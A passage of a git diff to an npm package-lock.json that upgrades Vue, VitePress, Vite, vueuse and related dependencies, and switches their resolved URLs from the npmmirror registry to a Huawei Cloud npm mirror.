"^0.25.7", + "magic-string": "^0.30.0", "postcss": "^8.1.10", - "source-map": "^0.6.1" + "source-map-js": "^1.0.2" } }, "node_modules/@vue/compiler-ssr": { - "version": "3.2.47", - "resolved": "https://registry.npmmirror.com/@vue/compiler-ssr/-/compiler-ssr-3.2.47.tgz", - "integrity": "sha512-wVXC+gszhulcMD8wpxMsqSOpvDZ6xKXSVWkf50Guf/S+28hTAXPDYRTbLQ3EDkOP5Xz/+SY37YiwDquKbJOgZw==", + "version": "3.3.4", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/compiler-ssr/-/compiler-ssr-3.3.4.tgz", + "integrity": "sha512-m0v6oKpup2nMSehwA6Uuu+j+wEwcy7QmwMkVNVfrV9P2qE5KshC6RwOCq8fjGS/Eak/uNb8AaWekfiXxbBB6gQ==", "dev": true, + "license": "MIT", "dependencies": { - "@vue/compiler-dom": "3.2.47", - "@vue/shared": "3.2.47" + "@vue/compiler-dom": "3.3.4", + "@vue/shared": "3.3.4" } }, "node_modules/@vue/devtools-api": { @@ -1425,85 +1476,96 @@ "dev": true }, "node_modules/@vue/reactivity": { - "version": "3.2.47", - "resolved": "https://registry.npmmirror.com/@vue/reactivity/-/reactivity-3.2.47.tgz", - "integrity": "sha512-7khqQ/75oyyg+N/e+iwV6lpy1f5wq759NdlS1fpAhFXa8VeAIKGgk2E/C4VF59lx5b+Ezs5fpp/5WsRYXQiKxQ==", + "version": "3.3.4", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/reactivity/-/reactivity-3.3.4.tgz", + "integrity": "sha512-kLTDLwd0B1jG08NBF3R5rqULtv/f8x3rOFByTDz4J53ttIQEDmALqKqXY0J+XQeN0aV2FBxY8nJDf88yvOPAqQ==", "dev": true, + "license": "MIT", "dependencies": { - "@vue/shared": "3.2.47" + "@vue/shared": "3.3.4" } }, "node_modules/@vue/reactivity-transform": { - "version": "3.2.47", - "resolved": "https://registry.npmmirror.com/@vue/reactivity-transform/-/reactivity-transform-3.2.47.tgz", - "integrity": "sha512-m8lGXw8rdnPVVIdIFhf0LeQ/ixyHkH5plYuS83yop5n7ggVJU+z5v0zecwEnX7fa7HNLBhh2qngJJkxpwEEmYA==", + "version": "3.3.4", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/reactivity-transform/-/reactivity-transform-3.3.4.tgz", + "integrity": "sha512-MXgwjako4nu5WFLAjpBnCj/ieqcjE2aJBINUNQzkZQfzIZA4xn+0fV1tIYBJvvva3N3OvKGofRLvQIwEQPpaXw==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/parser": "^7.16.4", - "@vue/compiler-core": "3.2.47", - "@vue/shared": "3.2.47", + "@babel/parser": "^7.20.15", + "@vue/compiler-core": "3.3.4", + "@vue/shared": "3.3.4", "estree-walker": "^2.0.2", - "magic-string": "^0.25.7" + "magic-string": "^0.30.0" } }, "node_modules/@vue/runtime-core": { - "version": "3.2.47", - "resolved": "https://registry.npmmirror.com/@vue/runtime-core/-/runtime-core-3.2.47.tgz", - "integrity": "sha512-RZxbLQIRB/K0ev0K9FXhNbBzT32H9iRtYbaXb0ZIz2usLms/D55dJR2t6cIEUn6vyhS3ALNvNthI+Q95C+NOpA==", + "version": "3.3.4", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/runtime-core/-/runtime-core-3.3.4.tgz", + "integrity": "sha512-R+bqxMN6pWO7zGI4OMlmvePOdP2c93GsHFM/siJI7O2nxFRzj55pLwkpCedEY+bTMgp5miZ8CxfIZo3S+gFqvA==", "dev": true, + "license": "MIT", "dependencies": { - "@vue/reactivity": "3.2.47", - "@vue/shared": "3.2.47" + "@vue/reactivity": "3.3.4", + "@vue/shared": "3.3.4" } }, "node_modules/@vue/runtime-dom": { - "version": "3.2.47", - "resolved": "https://registry.npmmirror.com/@vue/runtime-dom/-/runtime-dom-3.2.47.tgz", - "integrity": "sha512-ArXrFTjS6TsDei4qwNvgrdmHtD930KgSKGhS5M+j8QxXrDJYLqYw4RRcDy1bz1m1wMmb6j+zGLifdVHtkXA7gA==", + "version": "3.3.4", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/runtime-dom/-/runtime-dom-3.3.4.tgz", + "integrity": "sha512-Aj5bTJ3u5sFsUckRghsNjVTtxZQ1OyMWCr5dZRAPijF/0Vy4xEoRCwLyHXcj4D0UFbJ4lbx3gPTgg06K/GnPnQ==", "dev": true, + "license": "MIT", "dependencies": { - "@vue/runtime-core": "3.2.47", - "@vue/shared": "3.2.47", - "csstype": "^2.6.8" + "@vue/runtime-core": "3.3.4", + "@vue/shared": "3.3.4", + "csstype": "^3.1.1" } }, "node_modules/@vue/server-renderer": { - "version": "3.2.47", - "resolved": "https://registry.npmmirror.com/@vue/server-renderer/-/server-renderer-3.2.47.tgz", - "integrity": "sha512-dN9gc1i8EvmP9RCzvneONXsKfBRgqFeFZLurmHOveL7oH6HiFXJw5OGu294n1nHc/HMgTy6LulU/tv5/A7f/LA==", + "version": "3.3.4", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/server-renderer/-/server-renderer-3.3.4.tgz", + "integrity": "sha512-Q6jDDzR23ViIb67v+vM1Dqntu+HUexQcsWKhhQa4ARVzxOY2HbC7QRW/ggkDBd5BU+uM1sV6XOAP0b216o34JQ==", "dev": true, + "license": "MIT", "dependencies": { - "@vue/compiler-ssr": "3.2.47", - "@vue/shared": "3.2.47" + "@vue/compiler-ssr": "3.3.4", + "@vue/shared": "3.3.4" }, "peerDependencies": { - "vue": "3.2.47" + "vue": "3.3.4" } }, "node_modules/@vue/shared": { - "version": "3.2.47", - "resolved": "https://registry.npmmirror.com/@vue/shared/-/shared-3.2.47.tgz", - "integrity": "sha512-BHGyyGN3Q97EZx0taMQ+OLNuZcW3d37ZEVmEAyeoA9ERdGvm9Irc/0Fua8SNyOtV1w6BS4q25wbMzJujO9HIfQ==", - "dev": true + "version": "3.3.4", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/shared/-/shared-3.3.4.tgz", + "integrity": "sha512-7OjdcV8vQ74eiz1TZLzZP4JwqM5fA94K6yntPS5Z25r9HDuGNzaGdgvwKYq6S+MxwF0TFRwe50fIR/MYnakdkQ==", + "dev": true, + "license": "MIT" }, "node_modules/@vueuse/core": { - "version": "10.1.0", - "resolved": "https://registry.npmmirror.com/@vueuse/core/-/core-10.1.0.tgz", - "integrity": "sha512-3Znoa5m5RO+z4/C9w6DRaKTR3wCVJvD5rav8HTDGsr+7rOZRHtcgFJ8NcCs0ZvIpmev2kExTa311ns5j2RbzDQ==", + "version": "10.1.2", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vueuse/core/-/core-10.1.2.tgz", + "integrity": "sha512-roNn8WuerI56A5uiTyF/TEYX0Y+VKlhZAF94unUfdhbDUI+NfwQMn4FUnUscIRUhv3344qvAghopU4bzLPNFlA==", "dev": true, + "license": "MIT", "dependencies": { - "@types/web-bluetooth": "^0.0.16", - "@vueuse/metadata": "10.1.0", - "@vueuse/shared": "10.1.0", + "@types/web-bluetooth": "^0.0.17", + "@vueuse/metadata": "10.1.2", + "@vueuse/shared": "10.1.2", "vue-demi": ">=0.14.0" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" } }, "node_modules/@vueuse/core/node_modules/vue-demi": { - "version": "0.14.0", - "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.0.tgz", - "integrity": "sha512-gt58r2ogsNQeVoQ3EhoUAvUsH9xviydl0dWJj7dabBC/2L4uBId7ujtCwDRD0JhkGsV1i0CtfLAeyYKBht9oWg==", + "version": "0.14.5", + "resolved": "https://repo.huaweicloud.com/repository/npm/vue-demi/-/vue-demi-0.14.5.tgz", + "integrity": "sha512-o9NUVpl/YlsGJ7t+xuqJKx8EBGf1quRhCiT6D/J0pfwmk9zUwYkC7yrF4SZCe6fETvSM3UNL2edcbYrSyc4QHA==", "dev": true, "hasInstallScript": true, + "license": "MIT", "bin": { "vue-demi-fix": "bin/vue-demi-fix.js", "vue-demi-switch": "bin/vue-demi-switch.js" @@ -1511,6 +1573,103 @@ "engines": { "node": ">=12" }, + "funding": { + "url": "https://github.com/sponsors/antfu" + }, + "peerDependencies": { + "@vue/composition-api": "^1.0.0-rc.1", + "vue": "^3.0.0-0 || ^2.6.0" + }, + "peerDependenciesMeta": { + "@vue/composition-api": { + "optional": true + } + } + }, + "node_modules/@vueuse/integrations": { + "version": "10.1.2", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vueuse/integrations/-/integrations-10.1.2.tgz", + "integrity": "sha512-wUpG3Wv6LiWerOwCzOAM0iGhNQ4vfFUTkhj/xQy7TLXduh2M3D8N08aS0KqlxsejY6R8NLxydDIM+68QfHZZ8Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vueuse/core": "10.1.2", + "@vueuse/shared": "10.1.2", + "vue-demi": ">=0.14.0" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + }, + "peerDependencies": { + "async-validator": "*", + "axios": "*", + "change-case": "*", + "drauu": "*", + "focus-trap": "*", + "fuse.js": "*", + "idb-keyval": "*", + "jwt-decode": "*", + "nprogress": "*", + "qrcode": "*", + "sortablejs": "*", + "universal-cookie": "*" + }, + "peerDependenciesMeta": { + "async-validator": { + "optional": true + }, + "axios": { + "optional": true + }, + "change-case": { + "optional": true + }, + "drauu": { + "optional": true + }, + "focus-trap": { + "optional": true + }, + "fuse.js": { + "optional": true + }, + "idb-keyval": { + "optional": true + }, + "jwt-decode": { + "optional": true + }, + "nprogress": { + "optional": true + }, + "qrcode": { + "optional": true + }, + "sortablejs": { + "optional": true + }, + "universal-cookie": { + "optional": true + } + } + }, + "node_modules/@vueuse/integrations/node_modules/vue-demi": { + "version": "0.14.5", + "resolved": "https://repo.huaweicloud.com/repository/npm/vue-demi/-/vue-demi-0.14.5.tgz", + "integrity": "sha512-o9NUVpl/YlsGJ7t+xuqJKx8EBGf1quRhCiT6D/J0pfwmk9zUwYkC7yrF4SZCe6fETvSM3UNL2edcbYrSyc4QHA==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "vue-demi-fix": "bin/vue-demi-fix.js", + "vue-demi-switch": "bin/vue-demi-switch.js" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + }, "peerDependencies": { "@vue/composition-api": "^1.0.0-rc.1", "vue": "^3.0.0-0 || ^2.6.0" @@ -1522,26 +1681,35 @@ } }, "node_modules/@vueuse/metadata": { - "version": "10.1.0", - "resolved": "https://registry.npmmirror.com/@vueuse/metadata/-/metadata-10.1.0.tgz", - "integrity": "sha512-cM28HjDEw5FIrPE9rgSPFZvQ0ZYnOLAOr8hl1XM6tFl80U3WAR5ROdnAqiYybniwP5gt9MKKAJAqd/ab2aHkqg==", - "dev": true + "version": "10.1.2", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vueuse/metadata/-/metadata-10.1.2.tgz", + "integrity": "sha512-3mc5BqN9aU2SqBeBuWE7ne4OtXHoHKggNgxZR2K+zIW4YLsy6xoZ4/9vErQs6tvoKDX6QAqm3lvsrv0mczAwIQ==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/antfu" + } }, "node_modules/@vueuse/shared": { - "version": "10.1.0", - "resolved": "https://registry.npmmirror.com/@vueuse/shared/-/shared-10.1.0.tgz", - "integrity": "sha512-2X52ogu12i9DkKOQ01yeb/BKg9UO87RNnpm5sXkQvyORlbq8ONS5l39MYkjkeVWWjdT0teJru7a2S41dmHmqjQ==", + "version": "10.1.2", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vueuse/shared/-/shared-10.1.2.tgz", + "integrity": "sha512-1uoUTPBlgyscK9v6ScGeVYDDzlPSFXBlxuK7SfrDGyUTBiznb3mNceqhwvZHjtDRELZEN79V5uWPTF1VDV8svA==", "dev": true, + "license": "MIT", "dependencies": { "vue-demi": ">=0.14.0" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" } }, "node_modules/@vueuse/shared/node_modules/vue-demi": { - "version": "0.14.0", - "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.0.tgz", - "integrity": "sha512-gt58r2ogsNQeVoQ3EhoUAvUsH9xviydl0dWJj7dabBC/2L4uBId7ujtCwDRD0JhkGsV1i0CtfLAeyYKBht9oWg==", + "version": "0.14.5", + "resolved": "https://repo.huaweicloud.com/repository/npm/vue-demi/-/vue-demi-0.14.5.tgz", + "integrity": "sha512-o9NUVpl/YlsGJ7t+xuqJKx8EBGf1quRhCiT6D/J0pfwmk9zUwYkC7yrF4SZCe6fETvSM3UNL2edcbYrSyc4QHA==", "dev": true, "hasInstallScript": true, + "license": "MIT", "bin": { "vue-demi-fix": "bin/vue-demi-fix.js", "vue-demi-switch": "bin/vue-demi-switch.js" @@ -1549,6 +1717,9 @@ "engines": { "node": ">=12" }, + "funding": { + "url": "https://github.com/sponsors/antfu" + }, "peerDependencies": { "@vue/composition-api": "^1.0.0-rc.1", "vue": "^3.0.0-0 || ^2.6.0" @@ -1571,25 +1742,26 @@ } }, "node_modules/algoliasearch": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/algoliasearch/-/algoliasearch-4.17.0.tgz", - "integrity": "sha512-JMRh2Mw6sEnVMiz6+APsi7lx9a2jiDFF+WUtANaUVCv6uSU9UOLdo5h9K3pdP6frRRybaM2fX8b1u0nqICS9aA==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/algoliasearch/-/algoliasearch-4.17.1.tgz", + "integrity": "sha512-4GDQ1RhP2qUR3x8PevFRbEdqZqIARNViZYjgTJmA1T7wRNtFA3W4Aqc/RsODqa1J8IO/QDla5x4tWuUS8NV8wA==", "dev": true, + "license": "MIT", "dependencies": { - "@algolia/cache-browser-local-storage": "4.17.0", - "@algolia/cache-common": "4.17.0", - "@algolia/cache-in-memory": "4.17.0", - "@algolia/client-account": "4.17.0", - "@algolia/client-analytics": "4.17.0", - "@algolia/client-common": "4.17.0", - "@algolia/client-personalization": "4.17.0", - "@algolia/client-search": "4.17.0", - "@algolia/logger-common": "4.17.0", - "@algolia/logger-console": "4.17.0", - "@algolia/requester-browser-xhr": "4.17.0", - "@algolia/requester-common": "4.17.0", - "@algolia/requester-node-http": "4.17.0", - "@algolia/transporter": "4.17.0" + "@algolia/cache-browser-local-storage": "4.17.1", + "@algolia/cache-common": "4.17.1", + "@algolia/cache-in-memory": "4.17.1", + "@algolia/client-account": "4.17.1", + "@algolia/client-analytics": "4.17.1", + "@algolia/client-common": "4.17.1", + "@algolia/client-personalization": "4.17.1", + "@algolia/client-search": "4.17.1", + "@algolia/logger-common": "4.17.1", + "@algolia/logger-console": "4.17.1", + "@algolia/requester-browser-xhr": "4.17.1", + "@algolia/requester-common": "4.17.1", + "@algolia/requester-node-http": "4.17.1", + "@algolia/transporter": "4.17.1" } }, "node_modules/ansi-colors": { @@ -1747,10 +1919,10 @@ } }, "node_modules/csstype": { - "version": "2.6.21", - "resolved": "https://registry.npmmirror.com/csstype/-/csstype-2.6.21.tgz", - "integrity": "sha512-Z1PhmomIfypOpoMjRQB70jfvy/wxT50qW08YXO5lMIJkrdq4yOTR+AW7FqutScmB9NkLwxo+jU+kZLbofZZq/w==", - "dev": true + "version": "3.1.2", + "resolved": "https://repo.huaweicloud.com/repository/npm/csstype/-/csstype-3.1.2.tgz", + "integrity": "sha512-I7K1Uu0MBPzaFKg4nI5Q7Vs2t+3gWWW648spaF+Rg7pI9ds18Ugn+lvg4SHczUdKlHI5LWBXyqfS8+DufyBsgQ==", + "license": "MIT" }, "node_modules/deepmerge": { "version": "4.3.1", @@ -1802,11 +1974,12 @@ "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==" }, "node_modules/esbuild": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/esbuild/-/esbuild-0.17.18.tgz", - "integrity": "sha512-z1lix43jBs6UKjcZVKOw2xx69ffE2aG0PygLL5qJ9OS/gy0Ewd1gW/PUQIOIQGXBHWNywSc0floSKoMFF8aK2w==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/esbuild/-/esbuild-0.17.19.tgz", + "integrity": "sha512-XQ0jAPFkK/u3LcVRcvVHQcTIqD6E2H1fvZMA5dQPSOWb3suUbWbfbRf94pjc0bNzRYLfIrDRQXr7X+LHIm5oHw==", "dev": true, "hasInstallScript": true, + "license": "MIT", "bin": { "esbuild": "bin/esbuild" }, @@ -1814,28 +1987,28 @@ "node": ">=12" }, "optionalDependencies": { - "@esbuild/android-arm": "0.17.18", - "@esbuild/android-arm64": "0.17.18", - "@esbuild/android-x64": "0.17.18", - "@esbuild/darwin-arm64": "0.17.18", - "@esbuild/darwin-x64": "0.17.18", - "@esbuild/freebsd-arm64": "0.17.18", - "@esbuild/freebsd-x64": "0.17.18", - "@esbuild/linux-arm": "0.17.18", - "@esbuild/linux-arm64": "0.17.18", - "@esbuild/linux-ia32": "0.17.18", - "@esbuild/linux-loong64": "0.17.18", - "@esbuild/linux-mips64el": "0.17.18", - "@esbuild/linux-ppc64": "0.17.18", - "@esbuild/linux-riscv64": "0.17.18", - "@esbuild/linux-s390x": "0.17.18", - "@esbuild/linux-x64": "0.17.18", - "@esbuild/netbsd-x64": "0.17.18", - "@esbuild/openbsd-x64": "0.17.18", - "@esbuild/sunos-x64": "0.17.18", - "@esbuild/win32-arm64": "0.17.18", - "@esbuild/win32-ia32": "0.17.18", - "@esbuild/win32-x64": "0.17.18" + "@esbuild/android-arm": "0.17.19", + "@esbuild/android-arm64": "0.17.19", + "@esbuild/android-x64": "0.17.19", + "@esbuild/darwin-arm64": "0.17.19", + "@esbuild/darwin-x64": "0.17.19", + "@esbuild/freebsd-arm64": "0.17.19", + "@esbuild/freebsd-x64": "0.17.19", + "@esbuild/linux-arm": "0.17.19", + "@esbuild/linux-arm64": "0.17.19", + "@esbuild/linux-ia32": "0.17.19", + "@esbuild/linux-loong64": "0.17.19", + "@esbuild/linux-mips64el": "0.17.19", + "@esbuild/linux-ppc64": "0.17.19", + "@esbuild/linux-riscv64": "0.17.19", + "@esbuild/linux-s390x": "0.17.19", + "@esbuild/linux-x64": "0.17.19", + "@esbuild/netbsd-x64": "0.17.19", + "@esbuild/openbsd-x64": "0.17.19", + "@esbuild/sunos-x64": "0.17.19", + "@esbuild/win32-arm64": "0.17.19", + "@esbuild/win32-ia32": "0.17.19", + "@esbuild/win32-x64": "0.17.19" } }, "node_modules/escape-goat": { @@ -1866,15 +2039,26 @@ }, "node_modules/estree-walker": { "version": "2.0.2", - "resolved": "https://registry.npmmirror.com/estree-walker/-/estree-walker-2.0.2.tgz", + "resolved": "https://repo.huaweicloud.com/repository/npm/estree-walker/-/estree-walker-2.0.2.tgz", "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", - "dev": true + "dev": true, + "license": "MIT" }, "node_modules/fast-deep-equal": { "version": "3.1.3", "resolved": "https://registry.npmmirror.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" }, + "node_modules/focus-trap": { + "version": "7.4.3", + "resolved": "https://repo.huaweicloud.com/repository/npm/focus-trap/-/focus-trap-7.4.3.tgz", + "integrity": "sha512-BgSSbK4GPnS2VbtZ50VtOv1Sti6DIkj3+LkVjiWMNjLeAp1SH1UlLx3ULu/DCu4vq5R4/uvTm+zrvsMsuYmGLg==", + "dev": true, + "license": "MIT", + "dependencies": { + "tabbable": "^6.1.2" + } + }, "node_modules/free-style": { "version": "3.1.0", "resolved": "https://registry.npmmirror.com/free-style/-/free-style-3.1.0.tgz", @@ -1882,10 +2066,11 @@ }, "node_modules/fsevents": { "version": "2.3.2", - "resolved": "https://registry.npmmirror.com/fsevents/-/fsevents-2.3.2.tgz", + "resolved": "https://repo.huaweicloud.com/repository/npm/fsevents/-/fsevents-2.3.2.tgz", "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", "dev": true, "hasInstallScript": true, + "license": "MIT", "optional": true, "os": [ "darwin" @@ -2049,12 +2234,16 @@ } }, "node_modules/magic-string": { - "version": "0.25.9", - "resolved": "https://registry.npmmirror.com/magic-string/-/magic-string-0.25.9.tgz", - "integrity": "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==", + "version": "0.30.0", + "resolved": "https://repo.huaweicloud.com/repository/npm/magic-string/-/magic-string-0.30.0.tgz", + "integrity": "sha512-LA+31JYDJLs82r2ScLrlz1GjSgu66ZV518eyWT+S8VhyQn/JL0u9MeBOvQMGYiPk1DBiSN9DDMOcXvigJZaViQ==", "dev": true, + "license": "MIT", "dependencies": { - "sourcemap-codec": "^1.4.8" + "@jridgewell/sourcemap-codec": "^1.4.13" + }, + "engines": { + "node": ">=12" } }, "node_modules/mark.js": { @@ -2154,10 +2343,11 @@ "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==" }, "node_modules/minisearch": { - "version": "6.0.1", - "resolved": "https://registry.npmmirror.com/minisearch/-/minisearch-6.0.1.tgz", - "integrity": "sha512-Ly1w0nHKnlhAAh6/BF/+9NgzXfoJxaJ8nhopFhQ3NcvFJrFIL+iCg9gw9e9UMBD+XIsp/RyznJ/o5UIe5Kw+kg==", - "dev": true + "version": "6.1.0", + "resolved": "https://repo.huaweicloud.com/repository/npm/minisearch/-/minisearch-6.1.0.tgz", + "integrity": "sha512-PNxA/X8pWk+TiqPbsoIYH0GQ5Di7m6326/lwU/S4mlo4wGQddIcf/V//1f9TB0V4j59b57b+HZxt8h3iMROGvg==", + "dev": true, + "license": "MIT" }, "node_modules/mj-context-menu": { "version": "0.6.1", @@ -2266,10 +2456,15 @@ } }, "node_modules/preact": { - "version": "10.13.2", - "resolved": "https://registry.npmmirror.com/preact/-/preact-10.13.2.tgz", - "integrity": "sha512-q44QFLhOhty2Bd0Y46fnYW0gD/cbVM9dUVtNTDKPcdXSMA7jfY+Jpd6rk3GB0lcQss0z5s/6CmVP0Z/hV+g6pw==", - "dev": true + "version": "10.15.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/preact/-/preact-10.15.1.tgz", + "integrity": "sha512-qs2ansoQEwzNiV5eAcRT1p1EC/dmEzaATVDJNiB3g2sRDWdA7b7MurXdJjB2+/WQktGWZwxvDrnuRFbWuIr64g==", + "dev": true, + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/preact" + } }, "node_modules/prop-types": { "version": "15.8.1", @@ -2312,22 +2507,6 @@ "node": ">=0.10.0" } }, - "node_modules/react-dom": { - "version": "17.0.2", - "resolved": "https://registry.npmmirror.com/react-dom/-/react-dom-17.0.2.tgz", - "integrity": "sha512-s4h96KtLDUQlsENhMn1ar8t2bEa+q/YAtj8pPPdIjPDGBDIVNsrD9aXNWqspUe6AzKCIG0C1HZZLqLV7qpOBGA==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "loose-envify": "^1.1.0", - "object-assign": "^4.1.1", - "scheduler": "^0.20.2" - }, - "peerDependencies": { - "react": "17.0.2" - } - }, "node_modules/react-is": { "version": "18.2.0", "resolved": "https://registry.npmmirror.com/react-is/-/react-is-18.2.0.tgz", @@ -2347,10 +2526,11 @@ "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==" }, "node_modules/rollup": { - "version": "3.21.3", - "resolved": "https://registry.npmmirror.com/rollup/-/rollup-3.21.3.tgz", - "integrity": "sha512-VnPfEG51nIv2xPLnZaekkuN06q9ZbnyDcLkaBdJa/W7UddyhOfMP2yOPziYQfeY7k++fZM8FdQIummFN5y14kA==", + "version": "3.23.0", + "resolved": "https://repo.huaweicloud.com/repository/npm/rollup/-/rollup-3.23.0.tgz", + "integrity": "sha512-h31UlwEi7FHihLe1zbk+3Q7z1k/84rb9BSwmBSr/XjOCEaBJ2YyedQDuM0t/kfOS0IxM+vk1/zI9XxYj9V+NJQ==", "dev": true, + "license": "MIT", "bin": { "rollup": "dist/bin/rollup" }, @@ -2375,18 +2555,6 @@ "postcss": "^8.3.11" } }, - "node_modules/scheduler": { - "version": "0.20.2", - "resolved": "https://registry.npmmirror.com/scheduler/-/scheduler-0.20.2.tgz", - "integrity": "sha512-2eWfGgAqqWFGqtdMmcL5zCMK1U8KlXv8SQFGglL3CEtd0aDVDWgeF/YoCmvln55m5zSk3J/20hTaSBeSObsQDQ==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "loose-envify": "^1.1.0", - "object-assign": "^4.1.1" - } - }, "node_modules/shebang-command": { "version": "2.0.0", "resolved": "https://registry.npmmirror.com/shebang-command/-/shebang-command-2.0.0.tgz", @@ -2429,15 +2597,6 @@ "node": "*" } }, - "node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmmirror.com/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, "node_modules/source-map-js": { "version": "1.0.2", "resolved": "https://registry.npmmirror.com/source-map-js/-/source-map-js-1.0.2.tgz", @@ -2446,13 +2605,6 @@ "node": ">=0.10.0" } }, - "node_modules/sourcemap-codec": { - "version": "1.4.8", - "resolved": "https://registry.npmmirror.com/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz", - "integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==", - "deprecated": "Please use @jridgewell/sourcemap-codec instead", - "dev": true - }, "node_modules/speech-rule-engine": { "version": "4.0.7", "resolved": "https://registry.npmmirror.com/speech-rule-engine/-/speech-rule-engine-4.0.7.tgz", @@ -2481,6 +2633,13 @@ "resolved": "https://registry.npmmirror.com/style-mod/-/style-mod-4.0.3.tgz", "integrity": "sha512-78Jv8kYJdjbvRwwijtCevYADfsI0lGzYJe4mMFdceO8l75DFFDoqBhR1jVDicDRRaX4//g1u9wKeo+ztc2h1Rw==" }, + "node_modules/tabbable": { + "version": "6.1.2", + "resolved": "https://repo.huaweicloud.com/repository/npm/tabbable/-/tabbable-6.1.2.tgz", + "integrity": "sha512-qCN98uP7i9z0fIS4amQ5zbGBOq+OSigYeGvPy7NDk8Y9yncqDZ9pRPgfsc2PJIVM9RrJj7GIfuRgmjoUU9zTHQ==", + "dev": true, + "license": "MIT" + }, "node_modules/tr46": { "version": "0.0.3", "resolved": "https://registry.npmmirror.com/tr46/-/tr46-0.0.3.tgz", @@ -2571,10 +2730,11 @@ "integrity": "sha512-kRAyotcbNaSYoDnXvb4MHg/0a1egJdLwS6oJ38TJY7aw9n93Fl/3blIXdyYvPOp55CNxywooG/3BcrwNrBpcSg==" }, "node_modules/vite": { - "version": "4.3.4", - "resolved": "https://registry.npmmirror.com/vite/-/vite-4.3.4.tgz", - "integrity": "sha512-f90aqGBoxSFxWph2b39ae2uHAxm5jFBBdnfueNxZAT1FTpM13ccFQExCaKbR2xFW5atowjleRniQ7onjJ22QEg==", + "version": "4.3.9", + "resolved": "https://repo.huaweicloud.com/repository/npm/vite/-/vite-4.3.9.tgz", + "integrity": "sha512-qsTNZjO9NoJNW7KnOrgYwczm0WctJ8m/yqYAMAK9Lxt4SoySUfS5S8ia9K7JHpa3KEeMfyF8LoJ3c5NeBJy6pg==", "dev": true, + "license": "MIT", "dependencies": { "esbuild": "^0.17.5", "postcss": "^8.4.23", @@ -2619,22 +2779,25 @@ } }, "node_modules/vitepress": { - "version": "1.0.0-alpha.75", - "resolved": "https://registry.npmmirror.com/vitepress/-/vitepress-1.0.0-alpha.75.tgz", - "integrity": "sha512-twpPZ/6UnDR8X0Nmj767KwKhXlTQQM9V/J1i2BP9ryO29/w4hpxBfEum6nvfpNhJ4H3h+cIhwzAK/e9crZ6HEQ==", + "version": "1.0.0-beta.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/vitepress/-/vitepress-1.0.0-beta.1.tgz", + "integrity": "sha512-V2yyCwQ+v9fh7rbnGDLp8M7vHa9sLElexXf/JHtBOsOwv7ed9wt1QI4WUagYgKR3TeoJT9v2s6f0UaQSne0EvQ==", "dev": true, + "license": "MIT", "dependencies": { - "@docsearch/css": "^3.3.4", - "@docsearch/js": "^3.3.4", - "@vitejs/plugin-vue": "^4.2.1", + "@docsearch/css": "^3.3.5", + "@docsearch/js": "^3.3.5", + "@vitejs/plugin-vue": "^4.2.3", "@vue/devtools-api": "^6.5.0", - "@vueuse/core": "^10.1.0", + "@vueuse/core": "^10.1.2", + "@vueuse/integrations": "^10.1.2", "body-scroll-lock": "4.0.0-beta.0", + "focus-trap": "^7.4.2", "mark.js": "8.11.1", - "minisearch": "^6.0.1", + "minisearch": "^6.1.0", "shiki": "^0.14.2", - 